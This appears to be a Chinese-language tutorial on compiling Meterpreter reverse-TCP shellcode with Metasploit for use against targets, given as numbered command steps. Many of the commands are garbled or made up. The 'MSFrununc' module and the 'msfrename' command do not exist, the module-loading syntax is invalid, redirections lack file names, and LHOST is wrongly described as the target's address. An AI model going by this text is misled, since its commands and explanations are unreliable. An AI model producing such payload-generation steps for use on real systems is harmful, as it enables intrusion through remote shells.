2024年4月17日发(作者：)

msf 编译shellcode

一、概述

Metasploit Framework（MSF）是一个强大的开源安全测试工具，

它提供了一系列模块，包括用于创建和测试 shellcode 的工具。在本

文中，我们将介绍如何使用 MSFrununc 模块编译 shellcode。

二、准备环境

在开始之前，请确保您已经安装了 Metasploit Framework，并且

具有适当的环境配置。您还需要安装一些必要的库和工具，以便正确

地编译和运行 shellcode。

以下是使用 MSF 编译 shellcode 的基本步骤：

1. 使用 msfdb 命令启动 MSF，并加载所需的模块。

2. 使用 msfencode 模块将payload编码为 shellcode。

3. 使用 MSFrununc 模块编译 shellcode 并获取可执行文件路

径。

4. 使用生成的可执行文件路径构建 文件。

5. 使用 msfencode 加载生成的 文件并编译

shellcode。

下面是一个具体的示例：

1. 使用以下命令启动 MSF：

msfconsole

2. 加载所需的模块：

use exploit/multi/shell -setencoder x86/shikata_ga_nai -

setplatform linux -setarch x86 -setoptions

exploit:auto_reverse_portfwd=1

第 1 页 共 3 页

3. 使用 msfencode 编码 payload：

msfpayload windows/meterpreter/reverse_tcp

LHOST=[target_ip] LPORT=[target_port] >

4. 使用 MSFrununc 编译 shellcode：

msfrename +x86/shikata_ga_nai -L ELF64/x86-64

-e /tmp/shellcode-unix -r elf64 -x i386 msfencode -f elf64 -o

/tmp/shellcode-unix/meterpreter-x86_ -n -v -x i386 -l

/tmp/shellcode-unix/meterpreter-x86_

/tmp/shellcode-unix/shellcode-unix/

/tmp/shellcode-unix/meterpreter-x86_ >

/tmp/shellcode-unix/meterpreter-x86_ 2>

/tmp/shellcode-unix/meterpreter-x86_

其中，[target_ip] 和 [target_port] 是目标主机的 IP 地址和

端口号。该命令将生成一个 ELF 可执行文件，用于构建 meterpreter

shellcode。

5. 使用生成的可执行文件路径构建 文件：

echo "binary /tmp/shellcode-unix/meterpreter-x86_" >

6. 使用 msfencode 加载 并编译 shellcode：

msfencode -t raw >

chmod +x

bash

第 2 页 共 3 页

现在，您应该成功编译并获得了 meterpreter shellcode。请注

意，在执行 shellcode 时，确保采取适当的安全措施，以防止攻击者

利用该代码。

四、结论

本文介绍了如何使用 Metasploit Framework 编译 shellcode。

通过这些步骤，您可以获得 meterpreter shellcode 并将其用于攻击

目标。请务必谨慎使用这些工具，并遵守相关法律和道德准则。

第 3 页 共 3 页